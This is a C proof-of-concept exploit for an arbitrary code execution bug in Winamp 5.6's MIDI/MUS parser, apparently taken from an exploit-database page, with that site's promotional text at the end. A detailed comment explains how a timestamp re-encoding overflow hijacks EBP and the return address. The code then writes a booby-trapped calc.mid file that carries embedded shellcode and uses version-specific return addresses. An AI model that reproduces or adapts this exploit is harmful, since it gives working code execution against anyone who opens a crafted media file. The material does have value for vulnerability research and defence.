/*
* Winamp 5.6 Arbitrary Code Execution in MIDI Parser
* Copyright (C) 2010 Kryptos Logic
*
* Bug discovered by Peter Wilhelmsen.
* Exploit written by Morten Shearman Kirkegaard.
*/
/*
* When Winamp plays MUS files and other MIDI variants, it begins by
* converting them to a canonical format.
*
* IN_MIDI.DLL 0x076ED6D3
* Timestamps in MUS and MIDI are 32 bit values encoded as a series of
* bytes, with 7 bits in each byte. The most significant bit indicates
* whether or not this is the last byte. Winamp can decode any value
* without problems, but when it tries to re-encode them for the MIDI
* data, it uses the naive approach of shifting multiples of 7 bits. On
* x86 a shift of more than 31 bits does NOT result in a cleared
* register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
* 35 bits, resulting in a shift of only 3 bits. If the most significant
* bit is set, Winamp will keep shifting forever. However, if it is
* cleared, and one or more of the following three bits are set, it will
* shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
* will result in a fully cleared register, so only 9 output bytes are
* generated. The allocated stack buffer is 8 bytes, so the least
* significant byte will overflow into the saved EBP.
*
* IN_MIDI.DLL 0x076EE07F
* The saved EBP is restored into the register before returning to the
* main coversion function. If a value of 0x60 is written to the least
* significant byte of EBP, the function will run to the end without
* errors, but will use the sum of all timestamps encountered as its
* return address. We choose a number of timestamps which add up to the
* desired return address, and make sure that only the last timestamp
* will cause an overflow. When the function returns, a pointer to the
* input buffer is located at ESP+0x14. We return to an instruction
* sequence of ADD ESP, 0x14; RET; so the execution will continue at the
* MUS header.
*
* By choosing 0xC0 as the least significant byte of the scoreLen field,
* the header becomes executable without touching memory. We choose the
* most significant byte of scoreLen and the least significant byte of
* scoreStart to make up a JMP instruction, skipping the rest of the
* header and continuing execution in the instrument list, where the
* desired shellcode is placed. More shellcode can be placed after the
* note events in the score data, if needed.
*/
#include <inttypes.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
unsigned char shellcode[] = {
/* http://www.shell-storm.org/shellcode/files/shellcode-662.php */
0xFC,0x31,0xD2,0xB2,0x30,0x64,0xFF,0x32,
0x5A,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,
0x72,0x28,0x31,0xC9,0xB1,0x18,0x31,0xFF,
0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,
0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,
0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,
0x10,0x8B,0x12,0x75,0xDA,0x8B,0x53,0x3C,
0x01,0xDA,0xFF,0x72,0x34,0x8B,0x52,0x78,
0x01,0xDA,0x8B,0x72,0x20,0x01,0xDE,0x31,
0xC9,0x41,0xAD,0x01,0xD8,0x81,0x38,0x47,
0x65,0x74,0x50,0x75,0xF4,0x81,0x78,0x04,
0x72,0x6F,0x63,0x41,0x75,0xEB,0x81,0x78,
0x08,0x64,0x64,0x72,0x65,0x75,0xE2,0x49,
0x8B,0x72,0x24,0x01,0xDE,0x66,0x8B,0x0C,
0x4E,0x8B,0x72,0x1C,0x01,0xDE,0x8B,0x14,
0x8E,0x01,0xDA,0x52,0x68,0x78,0x65,0x63,
0x01,0xFE,0x4C,0x24,0x03,0x68,0x57,0x69,
0x6E,0x45,0x54,0x53,0xFF,0xD2,0x6A,0x00,
0x68,0x63,0x61,0x6C,0x63,0x6A,0x05,0x31,
0xC9,0x8D,0x4C,0x24,0x04,0x51,0xFF,0xD0,
0x68,0x65,0x73,0x73,0x01,0x89,0xFB,0xFE,
0x4C,0x24,0x03,0x68,0x50,0x72,0x6F,0x63,
0x68,0x45,0x78,0x69,0x74,0x54,0xFF,0x74,
0x24,0x24,0xFF,0x54,0x24,0x24,0x57,0xFF,
0xD0
};
void append_time(unsigned char **p, uint32_t t)
{
int bytes;
if ((t >> 28)) {
bytes = 5;
} else if ((t >> 21)) {
bytes = 4;
} else if ((t >> 14)) {
bytes = 3;
} else if ((t >> 7)) {
bytes = 2;
} else {
bytes = 1;
}
switch (bytes) {
case 5: *((*p)++) = 0x80 | ((t >> 28) & 0x7F);
case 4: *((*p)++) = 0x80 | ((t >> 21) & 0x7F);
case 3: *((*p)++) = 0x80 | ((t >> 14) & 0x7F);
case 2: *((*p)++) = 0x80 | ((t >> 7) & 0x7F);
case 1: *((*p)++) = 0x00 | ( t & 0x7F);
}
}
void append_note_event(unsigned char **p, uint32_t t)
{
*((*p)++) = (1 << 7 /* last = true */)
| (1 << 4 /* type = play note */)
| (0 << 0 /* chan = 0 */);
*((*p)++) = (0 << 7 /* vol = false */)
| (0 << 0 /* note */);
append_time(p, t);
}
int main(void)
{
struct {
char magic[4];
uint16_t scoreLen;
uint16_t scoreStart;
uint16_t channels;
uint16_t sec_channels;
uint16_t instrCnt;
uint16_t dummy;
uint16_t instruments[100]; /* enough for shellcode and for a good scoreStart value */
unsigned char score[1024];
} __attribute__((packed)) x;
unsigned char *p;
uint32_t ret =
//0x0041E092 /* winamp.exe 5.581 */
0x0041E22C /* winamp.exe 5.6 */
;
uint8_t ebp =
//0x70 /* 5.581, Windows 7 */
//0x48 /* 5.581, Windows XP */
//0x54 /* 5.60, Windows 7 */
0x60 /* 5.60, Windows XP */
;
int fd;
memset(&x, 'A', sizeof(x));
x.magic[0] = 'M'; /* 4D DEC EBP */
x.magic[1] = 'U'; /* 55 PUSH EBP */
x.magic[2] = 'S'; /* 53 PUSH EBX */
x.magic[3] = 0x1A; /* 1A C0 SBB AL,AL */
x.scoreLen = 0xEBC0; /* EB 09 JMP +9 */
x.scoreStart = 0x0109; /* must be >= 16+instrCnt*2 && < 16+instrCnt*4 */
x.channels = 1;
x.sec_channels = 0;
x.instrCnt = sizeof(x.instruments) / sizeof(*x.instruments);
x.dummy = 0;
memcpy((void *)x.instruments, shellcode, sizeof(shellcode));
p = (unsigned char *)x.score;
ret -= 0x10000000 + ebp; /* for the final overflow */
while (ret >= 0x10000000) {
append_note_event(&p, 0x0FFFFFFF);
ret -= 0x0FFFFFFF;
}
append_note_event(&p, ret);
append_note_event(&p, 0x10000000 + ebp);
append_note_event(&p, 0);
if ((fd = open("calc.mid", O_WRONLY|O_CREAT, 0644)) == -1) {
perror("open(calc.mid) failed");
return EXIT_FAILURE;
}
if ((write(fd, &x, sizeof(x))) != sizeof(x)) {
perror("truncated write");
return EXIT_FAILURE;
}
close(fd);
return EXIT_SUCCESS;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation